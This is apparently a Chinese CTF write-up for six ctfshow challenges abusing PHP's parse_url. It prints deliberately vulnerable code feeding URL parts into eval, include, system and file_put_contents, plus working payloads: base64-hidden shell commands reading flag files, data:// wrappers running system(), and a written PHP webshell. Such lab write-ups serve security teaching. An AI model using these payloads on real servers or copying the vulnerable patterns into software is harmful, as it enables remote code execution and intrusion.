第一关
parse_url(string $url, int $component = -1): int|string|array|null|false
本函数解析 URL 并返回关联数组,包含在 URL 中出现的各种组成部分。数组的元素值不会 URL 解码。
本函数不是用来验证给定 URL 的有效性的,只是将其分解为下面列出的部分。也会接受不完整或无效的 URL,parse_url() 会尝试尽量正确解析。
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-10 10:58:34
# @email: [email protected]
# @link: https://ctfer.com
*/
$data = parse_url($_GET['u']);
eval($data['host']);
http://system('id');/suning?v=1&k=2#id
可命令执行但是有了斜杠就会跑到下一行去需要进行绕过
引入一个概念base64可以在Linux使用翻引号执行命令恰好pares 不会进行转义
`echo bHMgLw== | base64 -d` (ls /)
http://system(`echo bHMgLw== | base64 -d`);/suning?v=1&k=2#id
最终payload:
http://system(`echo Y2F0IC9mbGFnX2lzX2hlcmUudHh0 | base64 -d`);/suning?v=1&k=2#id
第二关
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-12 13:25:53
# @email: [email protected]
# @link: https://ctfer.com
*/
$data = parse_url($_GET['u']);
include $data['host'].$data['path'];
程序会去文件包含host path 也就是需要构造文件路径具体需要使用到php伪协议
<?php
$url = "http://data:://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b";
echo $url.'</br>';
$parts = parse_url($url);
var_dump($parts);
?>
//浏览器无法识别+号所以使用%2b
能够执行php代码用户可控可以造成任意任意命令执行
http://data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOw==
第三关
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-12 13:29:18
# @email: [email protected]
# @link: https://ctfer.com
*/
$data = parse_url($_GET['u']);
include $data['scheme'].$data['path'];
和第二关一样调换了一下调用路径
$url = "data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOw== "
第四关
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-12 13:29:35
# @email: [email protected]
# @link: https://ctfer.com
*/
$data = parse_url($_GET['u']);
system($data['host']);
使用反引号可以规避出现斜杠转义
<?php
$url = "http://`echo bHMgLwo= | base64 -d`"; //ls
echo $url.'</br>';
$parts = parse_url($url);
var_dump($parts);
?>
第五关
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-12 13:29:38
# @email: [email protected]
# @link: https://ctfer.com
*/
extract(parse_url($_GET['u']));
include $$$$$$host;
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。
该函数返回成功导入到符号表中的变量数目。
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
#$a = Cat; $b = Dog; $c = Horse
本题目是个套娃问题,就是使用extract函数将GET传参url中的组成,host变为$host,其值为url中host的值,path、scheme、query等部分也是一样。
这时我们就可以通过参数指向(比如,再将host的值写为scheme,那么$host=scheme,$$host=$scheme=scheme的值),来最终包含我们的php://input伪协议进行文件包含。
GET传参
?u=user://pass:fragment@scheme/?data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOw==%23query
注:%23是#的url编码,如果不写%23直接写#,#后的内容会被浏览器直接过滤掉。
POST传参
<?php phpinfo();?>
这样的话:
$host=scheme
$$host=$scheme=user
$$$host=$user=pass
$$$$host=$pass=fragment
$$$$$host=$fragment=query
$$$$$$host=$query=data://text/plain;base64
第六关
题目代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-12 13:29:18
# @email: [email protected]
# @link: https://ctfer.com
*/
$data = parse_url($_GET['u']);
file_put_contents($data['path'], $data['host']);
file_put_contents() 函数把一个字符串写入文件中。
与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
语法
file_put_contents(file,data,mode,context)
<?php
$url = "https://<?php phpinfo();?>/var/www/html/1.php";
// $a = extract(parse_url($url));
echo $url.'</br>';
$parts = parse_url($url);
var_dump($parts);
?>
//直接写入<? ?> pares_url 会进行转义因此转换一个思路进行写入把php文件写入js标签里面
//$url = "https://<script language='php'>phpinfo();/var/www/html/1.php";
访问执行命令即可
标签:parse,URL,base64,PARSE,url,host,CTFSHOW,scheme From: https://www.cnblogs.com/TTaly/p/17471611.html